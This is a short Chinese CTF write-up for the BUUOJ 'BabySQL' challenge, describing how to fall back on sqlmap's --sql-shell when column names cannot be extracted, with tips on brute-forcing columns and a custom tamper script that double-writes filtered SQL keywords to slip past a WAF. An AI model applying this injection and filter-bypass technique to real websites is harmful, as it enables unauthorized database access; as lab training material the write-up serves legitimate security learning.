sqlmap 在无法扫描出字段名情况下的办法

sqlmap 在无法扫描出字段名情况下的办法

0x01

有时候sqlmap扫描会碰到扫出了数据库信息,表信息,但是就是无法扫描出字段信息的情况,如题:https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]BabySQL,此题目过滤了众多的关键字,但双写是可以绕过的,判断了这个之后,可以采用sqlmap扫描。
顺利的跑出了数据库名,表名,但是在列名的地方被卡住,无法查询出相关的信息,始终无法获取字段数量导致无法获取字段名称。

sqlmap_jike2019.PNG

0x02

解决方法:
因为有数据库名,表名,我们可以尝试采用--sql-shell的方式进行查询


sqlmap_jike20192.PNG

在这里主要注意如下几个问题
1、需要先知道题目中的各种waf情况。
2、需要知道列名,可以通过--columns后采用字典的方式进行爆破列名。
3、注意各种tamper,如图,图中我们使用了双写的自定义mytamper,所以这里sql-shell也需要使用相同的双写绕过。比如password需要写出passwoorrd,当然可以在tamper里替换。

#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
"""   
替换"OR","AND","ORDER","ORD","CHR","FROM","LIKE","MID"为双写
"""
retVal = payload
if payload:
    #retVal = re.sub(r"\s*=\s*", " LIKE ", retVal)
    retVal = retVal.replace("OR","OORR")
    retVal = retVal.replace("AND","ANANDD")
    retVal = retVal.replace("CHR","CHCHRR")
    retVal = retVal.replace("FROM","FROFROMM")
    retVal = retVal.replace("MID","MIMIDD")
    
return retVal

你可能感兴趣的:(sqlmap 在无法扫描出字段名情况下的办法)